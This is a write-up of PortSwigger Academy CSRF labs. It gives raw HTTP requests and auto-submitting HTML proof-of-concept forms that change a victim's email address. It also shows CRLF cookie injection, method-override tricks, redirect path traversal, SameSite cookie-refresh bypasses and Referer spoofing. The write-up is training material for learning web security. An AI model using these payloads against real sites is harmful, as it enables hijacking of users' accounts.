Cross Site Request Forgery (CSRF) Vulnerabilities
Notes from PortSwigger Academy’s CSRF labs covering different bypass techniques — from basic CSRF with no defenses to advanced SameSite Lax/Strict bypasses using method override, token manipulation, and client-side redirects.
Labs from PortSwigger Academy
🟩🟩APPRENTICE LAB🟩🟩
Lab 1: CSRF vulnerability with no defenses
This lab’s email change functionality is vulnerable to CSRF.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter
request to change-email
1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0a15007803dd362b80f526d800280014.web-security-academy.net
Cookie: session=JInuAPKthk1MKjumyhIusKUJw2pkdLTD
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
email=test%40gmail.com
csrf poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a15007803dd362b80f526d800280014.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
🟦🟦PRACTITIONER LABS🟦🟦
Lab 2: CSRF where token validation depends on request method
This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
request to change email
1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0a3b00fb034a902880f01c4e00b4005b.web-security-academy.net
Cookie: session=daTyo5SkwpojtXOmXUZYHCkWxX0faMcW
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
email=test%40gmail.com&csrf=pae9153MS2jZxFTyOWnJ32MCkQlkDmNX
there exist csrf protection mechanism with the use of csrf token
but this protection mechanism doesnot exist in GET request.
so, remove csrf token and change request to GET
final request without csrf protection
1
2
3
4
GET /my-account/change-email?email=test%40gmail.com HTTP/2
Host: 0a3b00fb034a902880f01c4e00b4005b.web-security-academy.net
Cookie: session=daTyo5SkwpojtXOmXUZYHCkWxX0faMcW
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3b00fb034a902880f01c4e00b4005b.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab 3: CSRF where token validation depends on token being present
This lab’s email change functionality is vulnerable to CSRF.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
email change request
1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0a5e001703fcd96881993f4b0048005f.web-security-academy.net
Cookie: session=DpH34vyy7WV2ChNkkeKRMpMDCcPuw6KH
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
email=test%40gmail.com&csrf=R1FxJ43VnA38323cSctIhrg0J9ezQdry
we can simply remove the csrf parameter and token.
final email change request
1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0a5e001703fcd96881993f4b0048005f.web-security-academy.net
Cookie: session=DpH34vyy7WV2ChNkkeKRMpMDCcPuw6KH
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
email=test%40gmail.com
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5e001703fcd96881993f4b0048005f.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab 4: CSRF where token is not tied to user session
This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:petercarlos:montoya
email change request
1
2
3
4
5
6
POST /my-account/change-email HTTP/2
Host: 0a9b00ba0392b06e80c7d57b00c800db.web-security-academy.net
Cookie: session=qbzsYoIbIDvkWykwwBBNhE2O1cbxfDhF
Content-Length: 37
email=dollarboysushil%40gmail.com&csrf=2JVvKxXgeBamKcnH5REte8C0XEhsZ3cN
CSRF token is valid for one request and is not tied to sessions. Which means we can intercept any email change request and get the csrf token and use it for other account.
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a9b00ba0392b06e80c7d57b00c800db.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="hidden" name="csrf" value="y6ZJHwLIN0UzVoH5Td9S3jxG2QaMhQLE" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.
Lab 5: CSRF where token is tied to non-session cookie
This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:petercarlos:montoya
Change email request
1
2
3
4
5
6
POST /my-account/change-email HTTP/2
Host: 0a55000403b60d9680930dd700430081.web-security-academy.net
Cookie: session=NUeV5pz4QWJqG392Hn3yXDEOyanSkfre; csrfKey=1q4daFVr42YlmU5x2BqECrHx3ZmeRRHm
email=hello%40gmail.com&csrf=5N1Jwj60M5SGzuzyac2sHeSkpeIPydjj
Findings
- csrfKey and csrf token are tied to each other
- csrfKey and csrf token are not tied to session cookie, which means we can use these token of other user.
To exploit the CSRF we need to make sure victim’s csrfKey is what we desire.
Search feature looks interesting. request:
1
2
3
GET /?search=test HTTP/2
Host: 0a55000403b60d9680930dd700430081.web-security-academy.net
Cookie: session=NUeV5pz4QWJqG392Hn3yXDEOyanSkfre; csrfKey=1q4daFVr42YlmU5x2BqECrHx3ZmeRRHm
response:
1
2
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=test; Secure; HttpOnly
This means search term gets reflected in the Set-Cookie header. using the search request we can set cookie. Lets set csrfKey
request:
1
2
GET /?search=test%0d%0aSet-Cookie:+csrfKey=1q4daFVr42YlmU5x2BqECrHx3ZmeRRHm HTTP/2
Host: 0a55000403b60d9680930dd700430081.web-security-academy.net
%0d%0a –> carriage return or new line
response:
1
2
3
4
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=1q4daFVr42YlmU5x2BqECrHx3ZmeRRHm; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
POC to set csrfKey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a55000403b60d9680930dd700430081.web-security-academy.net/">
<input type="hidden" name="search" value="test Set-Cookie: csrfKey=1q4daFVr42YlmU5x2BqECrHx3ZmeRRHm" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POC to change email
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a55000403b60d9680930dd700430081.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="hidden" name="csrf" value="5N1Jwj60M5SGzuzyac2sHeSkpeIPydjj" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab 6: CSRF where token is duplicated in cookie
This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
email change request
1
2
3
4
5
POST /my-account/change-email HTTP/2
Host: 0a3300c60431d67b80d512d2002d00bd.web-security-academy.net
Cookie: session=qNqBPCajd1KL47nMWRpeJZ7wpBO5YnE8; csrf=SEcvOzwPlUhqomSA761F1sqhiF4I9ONk
email=test%40gmail.com&csrf=SEcvOzwPlUhqomSA761F1sqhiF4I9ONk
there exist csrf token in body of the request and in the header.
The checking mechanism of csrf token in based on client side. It just checks if the both the csrf token is same. So, we need to find a way to set csrf cookie.
This lab is similar to previous one, we can use the search feature to set up cookie.
request to set cookie using search feature:
1
2
3
4
5
6
GET /?search=test%0d%0aSet-Cookie:+csrf=SEcvOzwPlUhqomSA761F1sqhiF4I9ONk HTTP/2
Host: 0a3300c60431d67b80d512d2002d00bd.web-security-academy.net
Cookie: session=qNqBPCajd1KL47nMWRpeJZ7wpBO5YnE8; csrf=SEcvOzwPlUhqomSA761F1sqhiF4I9ONk
POC to set csrf cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3300c60431d67b80d512d2002d00bd.web-security-academy.net/">
<input type="hidden" name="search" value="test Set-Cookie: csrf=SEcvOzwPlUhqomSA761F1sqhiF4I9ONk" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POC to change email
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3300c60431d67b80d512d2002d00bd.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@gmail.com" />
<input type="hidden" name="csrf" value="SEcvOzwPlUhqomSA761F1sqhiF4I9ONk" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Same Site vs Same Origin
| Request from | Request to | Same-site? | Same-origin? |
https://example.com |
https://example.com |
Yes | Yes |
https://app.example.com |
https://intranet.example.com |
Yes | No: mismatched domain name |
https://example.com |
https://example.com:8080 |
Yes | No: mismatched port |
https://example.com |
https://example.co.uk |
No: mismatched eTLD | No: mismatched domain name |
https://example.com |
http://example.com |
No: mismatched scheme | No: mismatched scheme |
All major browsers currently support the following SameSite restriction levels:
SameSite = Strict (most secure)
- The cookie is only sent if the request comes from the same site currently open in the address bar.
- If you click a link or submit a form from another domain — even if it navigates to the target site — the cookie will not be sent.
✅ Great for:
Sensitive cookies (authentication sessions, admin dashboards, etc.)
❌ Bad for:
Cross-site workflows — like logging in through a redirect, sharing links, or “Continue with…” buttons that rely on third-party redirects.
Example
Set-Cookie: session=abc; SameSite=Strict
→ Only sent when the user is already on the same site.
SameSite = Lax (default for most browsers)
- The cookie is sent for top-level GET navigations (when you click a normal link).
- But not sent for cross-site POSTs,
iframes, or background requests triggered by JavaScript.
✅ Helps block most CSRF attacks (which usually use POST).
✅ Still allows navigation links to work normally.
Example
Set-Cookie: session=abc; SameSite=Lax
→ Sent when clicking a normal link to the site, but not when submitting a hidden POST form from another domain.
SameSite = None (least secure)
- The cookie is sent with all requests, even from third-party contexts.
- But you must also add
Secureattribute to ensure cookie is only sent in encrypted messages over HTTPS (otherwise browsers will reject it).
✅ Needed for:
Third-party integrations, tracking cookies, embedded widgets, or cross-domain apps that rely on shared cookies.
❌ Dangerous for:
Session cookies — since it allows full cross-site cookie sending (and therefore CSRF).
Example
Set-Cookie: trackingId=abc; SameSite=None; Secure
🧩 Summary Table
| SameSite Value | Sent in Cross-Site GET | Sent in Cross-Site POST | Use Case | CSRF Risk |
|---|---|---|---|---|
| Strict | ❌ No | ❌ No | Highly sensitive sessions | 🚫 None |
| Lax | ✅ Only top-level GETs | ❌ No | Typical logins / user sessions | ⚠️ Low |
| None | ✅ Yes | ✅ Yes | Third-party/tracking cookies | 🔥 High |
Lab 7: SameSite Lax bypass via method override
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
You can log in to your own account using the following credentials: wiener:peter
email change request:
1
2
3
4
5
6
POST /my-account/change-email HTTP/2
Host: 0abc003303ea88a5808903c500df007d.web-security-academy.net
Cookie: session=Ju7Ftg9JXsW13SGeVYsfytFztq1Z1U0k
Content-Length: 22
email=test%40gmail.com
- No unpredictable tokens, so may be vulnerable to CSRF
- website doesn’t explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default
Laxrestriction level. - This means session cookie will b send in cross-site
GETrequests.
Changing the request to GET doesnot work. “Method Not Allowed”
This can be bypassed by using _method Method spoofing
1
2
3
4
GET /my-account/change-email?email=hacked%40gmail.com&_method=POST HTTP/2
Host: 0abc003303ea88a5808903c500df007d.web-security-academy.net
Cookie: session=Ju7Ftg9JXsW13SGeVYsfytFztq1Z1U0k
response: 200 OK
Explaination:
many web apps include a method-override step that looks for a special marker (commonly _method in the query string or form body, or the X-HTTP-Method-Override header) and then rewrites the request’s effective method before the app routes/handles it. If the server accepts _method from the query string, a cross-site GET like GET /change-email?email=...&_method=POST can be rewritten server-side to behave like a POST, so state-changing code runs.
CSRF Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0abc003303ea88a5808903c500df007d.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab 8: SameSite Strict bypass via client-side redirect
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
You can log in to your own account using the following credentials: wiener:peter
login request and response:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /login HTTP/2
Host: 0a1a00dc049965748036124f0082005f.web-security-academy.net
Cookie: session=Laquu97ioV0KMcyNV6RIEANWgp2voORL
username=wiener&password=peter
response:
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=QE8SYEfeRevKUCmfUSv5YoV8dAxnoHc7; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Content-Length: 0
SameSite=Strict
–> victim’s browser wont include session cookie in any cross site request.
There exist redirection after posting comment
redirection request:
1
2
3
4
GET /post/comment/confirmation?postId=4 HTTP/2
Host: 0a4d000403d7e1e180808067005100fc.web-security-academy.net
value of postId is passed for redirection.
1
2
3
GET /post/4 HTTP/2
Host: 0a4d000403d7e1e180808067005100fc.web-security-academy.net
Cookie: session=ZpQHMJbpQHcEN5qse7XXZuL4NdeZr843
actual redirection code (commentConfirmationRedirect.js)
1
2
3
4
5
6
7
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
1
2
<script src='/resources/js/commentConfirmationRedirect.js'></script>
<script>redirectOnConfirmation('/post');</script>
value of postId is appended to /post.
checking our custom redirection. request
1
https://0a4d000403d7e1e180808067005100fc.web-security-academy.net/post/comment/confirmation?postId=/my-account
this is redirected to
1
https://0a4d000403d7e1e180808067005100fc.web-security-academy.net/post/my-account
/post can be removed by path traversal
1
https://0a4d000403d7e1e180808067005100fc.web-security-academy.net/post/comment/confirmation?postId=../my-account
this redirects to
1
https://0a4d000403d7e1e180808067005100fc.web-security-academy.net/my-account
Phase 2: email change request
1
2
3
4
5
POST /my-account/change-email HTTP/2
Host: 0a4d000403d7e1e180808067005100fc.web-security-academy.net
Cookie: session=ZpQHMJbpQHcEN5qse7XXZuL4NdeZr843
email=hacked%40gmail.com&submit=1
method spoofing
1
2
3
4
5
GET /my-account/change-email?email=hacked%40gmail.com&submit=1 HTTP/2
Host: 0a4d000403d7e1e180808067005100fc.web-security-academy.net
Cookie: session=ZpQHMJbpQHcEN5qse7XXZuL4NdeZr843
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
combining them. Using this change-email GET request in redirection url.
final csrf request is:
1
2
3
4
5
GET /post/comment/confirmation?postId=../my-account/change-email%3femail%3ddollarboysushil%40gmail.com%26submit%3d1 HTTP/2
Host: 0a4d000403d7e1e180808067005100fc.web-security-academy.net
Cookie: session=ZpQHMJbpQHcEN5qse7XXZuL4NdeZr843
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a4d000403d7e1e180808067005100fc.web-security-academy.net/post/comment/confirmation">
<input type="hidden" name="postId" value="../my-account/change-email?email=dollarboysushil@gmail.com&submit=1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab 9: SameSite Strict bypass via sibling domain
This lab’s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim’s account.
To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim’s chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
If you haven’t done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.
❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌ will be completed later ❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌❌
Lab 10: SameSite Lax bypass via cookie refresh
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
If a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests.
Finding 1:
1
2
3
4
5
6
GET /social-login HTTP/2
Host: 0a64009f031538e480a2d045007300be.web-security-academy.net
Cookie: session=QVnIAD8VqdNAf9CufaIYrF5T5qx36lxs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
This request is responsible for automatically initiating the full OAuth flow. If we are still logged-in with the OAuth server, this all happens without any interaction. And every time the OAuth flow is completed, webapp sets a new session cookie.
Our main idea next is to, make the webapp use this request to regenerate the session cookie and within 120 sec of new cookie generation, we use CSRF attack. This way SameSite Lax restriction will not be enforced for first 120 seconds on top-level POST request.
CSRF POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a64009f031538e480a2d045007300be.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
window.onclick = () => {
window.open('https://0a64009f031538e480a2d045007300be.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
</body>
</html>
POC explaination
STEP 1:
1
2
3
4
window.onclick = () => {
window.open('https://0a64009f031538e480a2d045007300be.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
- When victim clicks anywhere on the page, this code runs.
- It opens a newtab to site /social-login.
- This is a top-level GET request, so because SameSite=Lax allows cookies on top-level GET navigations, the browser sends the session cookie for the request.
- The
/social-loginendpoint reset the session cookie.
STEP 2:
1
2
3
function changeEmail() {
document.forms[0].submit();
}
This sends a POST request to /my-account/change-email with the hidden email parameter.
Why it works
Under normal SameSite=Lax rules:
- A cross-site POST request (like this CSRF form) would not include cookies.
- But because the cookie was just refreshed via a top-level GET navigation to the target domain, the browser treats the cookie as “recently used” — so it temporarily bypasses the Lax restriction for a very short window (a few seconds).
This is the “SameSite=Lax cookie refresh” bypass.
It exploits the browser’s grace period for freshly set cookies — allowing the POST request to include the session cookie even though it’s cross-site.
Lab 11: CSRF where Referer validation depends on header being present
This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
The csrf protection depends on the referrer header. Webapp rejects all the request which contains referer header outside its domain. This can be bypassed by simply removing the Referer header from the request
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="no-referrer">
<body>
<form action="https://0a17003904f3829180b64e0f00a6004e.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<meta name="referrer" content="no-referrer"> –> this html suppress the Referer header.
Lab 12: CSRF with broken Referer validation
This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
This time also CSRF protection depends on the Referer header. Unlike previous lab, CSRF header cannot be removed.
request to update email:
1
2
3
4
5
6
7
8
POST /my-account/change-email HTTP/2
Host: 0ab9008803f0c01285a167ff00da0036.web-security-academy.net
Cookie: session=Km56yLYp0aBVRKq6YUyDxpn7Dw6vqi88
Content-Type: application/x-www-form-urlencoded
Referer: https://0ab9008803f0c01285a167ff00da0036.web-security-academy.net
email=test%40gmail.com
we can bypass the Referer header by making the original url as query string:
1
2
3
4
5
6
7
8
POST /my-account/change-email HTTP/2
Host: 0ab9008803f0c01285a167ff00da0036.web-security-academy.net
Cookie: session=Km56yLYp0aBVRKq6YUyDxpn7Dw6vqi88
Content-Type: application/x-www-form-urlencoded
Referer: https://somethingrandom.com/?0ab9008803f0c01285a167ff00da0036.web-security-academy.net
email=test%40gmail.com
Barebone POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ab9008803f0c01285a167ff00da0036.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
In this poc, we need to implement the change of Referer header and this can be achieved by using following javascript.
history.pushState("", "", "")
There are 3 parameters in above javascript
- 1st “” –> State object
- 2nd “” –> title
- 3rd “” –> URL
FINAL POC
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/?0ab9008803f0c01285a167ff00da0036.web-security-academy.net")</script>
<form action="https://0ab9008803f0c01285a167ff00da0036.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The final request on behalf of victim is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /my-account/change-email HTTP/2
Host: 0ab9008803f0c01285a167ff00da0036.web-security-academy.net
Cookie: session=Km56yLYp0aBVRKq6YUyDxpn7Dw6vqi88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://exploit-0aaf00b803b4c07d850c6653014c0023.exploit-server.net/?0ab9008803f0c01285a167ff00da0036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://exploit-0aaf00b803b4c07d850c6653014c0023.exploit-server.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
email=dollarboysushil%40gmail.com
/?0ab9008803f0c01285a167ff00da0036.web-security-academy.net is appended to the end of the actual Referer header
